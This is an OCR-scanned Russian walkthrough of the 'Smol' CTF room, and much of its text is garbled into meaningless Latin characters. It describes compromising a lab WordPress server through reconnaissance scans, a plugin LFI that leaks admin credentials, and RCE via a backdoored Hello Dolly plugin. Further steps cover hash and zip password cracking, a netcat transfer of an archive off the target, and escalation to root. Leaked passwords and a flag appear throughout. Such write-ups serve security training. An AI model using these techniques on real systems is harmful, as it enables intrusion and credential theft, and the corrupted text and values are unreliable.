Bonkcpy

¢/ Wcnonuutenb

TecTupoBaHue BbiNonHeHo KpaBuoBbiM Hukonaem, HauMHaowWmm cneumanmcTomM no
MHpopMaunoHHon BesonacHocTu B 11:55 (0ogosibHO crioxxHasi KomHama, He Oymaro, 4mo
meduym, 1 Oymaro boribuwie xapo 0axe).

Ucnonb3oBaHHbIe (hannbi:

user.txt - conar
root.txt - donar

wordpress.old.zip - pann gnsa nosbILEHUS NpUBUMIErMA 40 Xavi.
NMopsagok aencTBUN:

1) PepgaktupoBaHue /etc/resolv.conf ona npocrtyna B UHTEpPHeET,
co3faHue nanku KOMHaTtbl, BKnovyeHue win kex ansa yao6ceraa,
BKJIIOYE€HMe BMNH AN AOCTyrna K KOMHaTam

sudo nano /etc/resolv.conf; clear; mkdir smol; cd smol; clear; kex —-win;

clear; sudo openvpn ../Kolya080808.ovpn

clear; sudo ./thm-troubleshoot; nmap -sCV 10.10.103.188; gobuster dir -w
directory-list-2.3-medium.txt -b 404 -u http://www.smol.thm

2) CkaHMpoBaHMe NOopToB C NOMOLbLIO hmap.

Pesynbrarthbl:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2pl1 Ubuntu dubuntu®.9 (Ubuntu Linux; protocol
2.0)

| ssh-hostkey:

| 3072 U44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:Uc:2e:04 (RSA)

| 256 Qa:uUb:b9:b1:77:d2:U48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)

|_ 256 d3:3b:97:ea:54:bc:uU1:U4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

| _http-server-header: Apache/2.4.41 (Ubuntu)



| _http-title: Did not follow redirect to http://www.smol.thm
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

3) 3anyck Gobuster ona noncka oUpeKTopumn.

Pesynerarthl:

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://www.smol.thm

[+] Method: GET

[+] Threads: 10

[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: dou

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

/wp—-content (Status: 301) [Size: 317] [-—> http://www.smol.thm/wp-
content/]
/wp—includes (Status: 301) [Size: 318] [--> http://www.smol.thm/wp-
includes/]

Progress: 2659 / 220561 (1.21%)"C
[!] Keyboard interrupt detected, terminating.
Progress: 2659 / 220561 (1.21%)

4) NMocne 3anycka gobuster 1 Ha4an cMoTpeTb, YTO MOXHO cAenaTtb

c wordpress:



Pesynbrar:

- https://wwi.rapid?.com/db/modules/auxiliary/scanner/http/wordpress xmlrpc_login/
- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress pingback acce

WordPress readme found: http://wwn.smol.thm/readme.html
Found By: Direct Access (Aggressive Detection)
Confidence: 186%

Upload directory has listing enabled: http://www.smol.thm/wp-content/uploads/
Found By: Direct Access (Aggressive Detection)
Confidence: 188%

The external WP-Cron seems to be enabled: http://www.smol.thm/wp-cron.php
Found By: Direct Access (Aggressive Detection)
Confidence: 608%
References:

- https://www.iplocation.net/defend-wordpress-from-ddos

- https://github.com/wpscanteam/wpscan/issues/1299

WordPress version 6.4.3 identified (Insecure, released on 2824-81-38).
Found By: Rss Generator (Passive Detection)

- http://www.smol.thm/index.php/feed/, <generator»https://wordpress.org/?v=6.4.3</
- http://www.smol.thm/index.php/comments/feed/, <generator>https://wordpress.org/?

WordPress theme in use: twentytwentythree
Location: http://www.smol.thm/wp-content/themes/twentytwentythree/
Last Updated: 2824-11-13T90:00:00.880Z
Readme: http://www.smol.thm/wp-content/themes/twentytwentythree/readme.txt
[ The version is out of date, the latest wversion is 1.6
Directory listing is enabled
Style URL: http://www.smol.thm/wp-content/themes/twentytwentythree/style.css
Style Name: Twenty Twenty-Three
Style URI: https://wordpress.org/themes/twentytwentythree
Description: Twenty Twenty-Three is designed to take advantage of the new design to
Author: the WordPress team
Author URI: https://wordpress.org

Found By: Urls In Homepage (Passive Detection)

Version: 1.2 (88% confidence)
Found By: Style (Passive Detection)
- http://ww.smol.thm/wp-content/themes/tuwentytwentythree/style.css, Match: 'Versi

Enumerating Most Popular Plugins (via Passive Methods)
Checking Plugin Versions (via Passive and Aggressive Methods)

Plugin(s) Identified:

Jjsmol2wp

Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
Latest Version: 1.87 (up to date)

Last Updated: 2818-83-89T10:28:00.880Z

Found By: Urls In Homepage (Passive Detection)

Version: 1.87 (188% confidence)
Found By: Readme - Stable Tag (Aggressive Detection)
- http:// v .smol . thm/wp-content/plugins/jsmol2wp/readme.txt
Confirmed By: Readme - Changelog Section gressive Detection)
- http smol .. thmy ontent/plugins/jsmol2wp/readme. txt




5) Hamaa a3ToT nnaruvH, A, ¢ NOMOLbIO NOACKA3KU co3apaTens,
ucnonb3ya LFi Hawen uma nonb3oBaTtena u naposnb Ans wp-admin:

Pesynbrar:

« C @ O & smol.thm

Kali Linux & KaliTools = Kali Forums «\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

kbLSF2Vop#lw3rjDZ629*Z%G " | ;

Username or Email Address
wpuser
Password

TYTYTYTYT T YT VY I

v| Remember Me

6) 3aTem ObIIo camoe cnoxHoe: Hautu RCE. bnarogapsa onbiTy
paboTbl ¢ wordpress, A1 Halwers, YTO rce MOXHO MOJYyYUTb C

nomouwbio aedontHoro nnarnHa hello dolly, u» nonyuun ero (y meHs
3TO 3aHANO 2 OHA, HA caMOM Aerne):



gs from way back when

fellas

Line.
s[ mt_rand( ©, count( $lyrics ) -

f/ This ysen line, we'll position it later.
function

* Dashboard « AnotherCTF

smol.thm I

» KaliDocs M KaliFForums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

7) MNMony4yuB AOCTYN K cepBepy, A nepeynuTan onncaHne KOMHaTbl U
Hawen MHTepPeCHbIX HaMeK, B KOTOPOM roBOpPUIIOCb, YTO MOXHO
HaUTU X3LWN N NPOCTO UX 3abpyTUTBL, U, 3anaa B mysql un
CKOMUpoBaB X3LWW, Yy MEHSA 3TO NONY4YMUNOCh:



Pesynbrar:

Taskl @ Smol

=
1=

At the heart of Smol is a WordPress website, a common target due to its extensive plugin ecosystem. The machine showcases a publicly known vulnerable plugin, _
highlighting the risks of neglecting software updates and security patches. Enhancing the learning experience, Smol introduces a backdoored plugin,

emphasizing the significance of meticulous code inspection before integrating third-party components.

Quick Tips: Do you know that on computers without GPU like the AttackBox, pper is faster than Hashcat?

Note: Please allow 4 minutes for the VM to fully boot up.
nswer H":‘ g

What is the user flag?

45edaec653ff9ee062

What is the root flag?

[phpass ($P$ or $HS) 256/256

o abort, almost

$PSBH.CF
$P$BFZ]tIpXLIgBZNILM up@smol . thm
$P$BObE/koianrmsPie josemludf@smol . thm
ario Llado i
$P$BIUHruCd/9bGD. TEVZULIXFrTsb3) P
bcs4Dr3ErFFaIPWV1
o
JRHS3q18. 1pvcqll
o

john --show
diego:sandiegocalifornia

cracked, & left

8) MomeHsB nonb3oBaTtensa Ha diego A npoyuTan user dnar:

Pesynbrar:

www -data@smol : fvar/www/wordpres:

wp-admin$ cd /home
d /home

wwew -datagsmol : f/home$ su diepgo

su diego

Password: ndiegocalifornia
home$ cd

cat user

ich file or directory




9) 3atem B /home/think/.ssh a2 Hawen ssh kN4 1 nonyyun c
NOMOLL LI HEro AOCTYN K MalwiuHe no ssh:

Pesynbrar:

ogin: Sun Jan 26 €7:11:17 2625 from 18.9.1.181

10) Nanee B aupekTopumn gege a1 Hawen dann wordpress.old.zip, n
nonpo6oBan ero pacnakoBaTb, HO He BbILWSIO: BO NepBbIX 1 HE UMen
npas, BO BTOPbIX OH Obis1 3anaponeH. [locMmoTpeB B rpynnbl
nonb3oBaBTena think, 1 o6Hapyxun, 4ytTo 1 Mmory 6e3 napons
NOBbLICUTb NPUBUIIErMX A0 NOJSib30BaTesNIA gege U CKadyaTb apXuB:



Pesynbrar:
Wi jata:x:33;
backup:x:34:
operator:x:37:
list:x:38:
X392

src:x:48:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:

sasl:x:45:
plugdev:x:46:
staff:x:509:
games:X:68:
users:x:1ee:
nogroup:x: 65534:
systemd-journal:x:101:
systemd-network:x:102:
) 1¥:103:
systemd-timesync:x:104:
crontab:x:1085:
messagebus:x:106:
input:x:187:
kvm:x:188:
render:x:189:
syslog:x:110:
tss:x:111:
uuidd:x:112:
tcpdump:x:113:

shix:114:
landscape:x:115:
Ixd:x:116:
systemd-coredump:x:999:
think:x:1000:
fwupd-refresh:x:117:
ssl-cert:x:118:
mysql:x:119:
xavi:x:1801:
diégC!X:l@@Z!
Eege:x:1883:
dev:x:1e84:think, gege
internal:x:1005:diego,gege, think,xavi

wfsmol
-lvnp 98@1 » wordpress.old.zip
on [any] G8a1
[18.9.1.181] from (UMKNOWN)

=/ smol
15 |E]
al 31528
aBaaBEE “:IyaEEDEJE
papEes kolyaesosod
AARERE kolyalEpdas
faAERE kolyadEagad
#88888E kolyaBEasna
kolyadsesos kolyaesosed
= Gmal
wordpress._old.zip » hashg

11) Hy v npocTo GpyTUM naponb ANA 3UNKW, a 3aTeM nosiyyaem
AOCTYN K NoNnb30BaTenNo xavi:




Pesynbrar:

{ "DE_PASSWORD', 'P@sswdrdwavi@’ )

12) Hy a Tenepb camMmoe npocToe: nonb3oBaTesNb Xavi U 6e3 BCAKUX
3aMOpoOYeK MMeEeT NpaBo CMEeHUTb Nonb3oBaTensa Ha root. [MoaTomy
Mbl TaK U genaem m yntaem root.txt:



NMpumeyaHune

¢ MNpumeyaHune

A gymato, 4To AaHHaa KomHaTa bonblle TaHeT Ha hard, yem Ha medium. OgHako MHe OHa
OYeHb npuLinachk no gyule, caernada KpyTo Kak no Tex U NnporpaMmMHON 4acTu, Tak u
NPOCTO MO MPOXOXAEHWUIO.

Cnacubo josewdf 3a komHaTy!

Buaoeo BbINONHEeHUsN

OpwvirnHan:
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https://youtu.be/ZGjDCUJYyrc

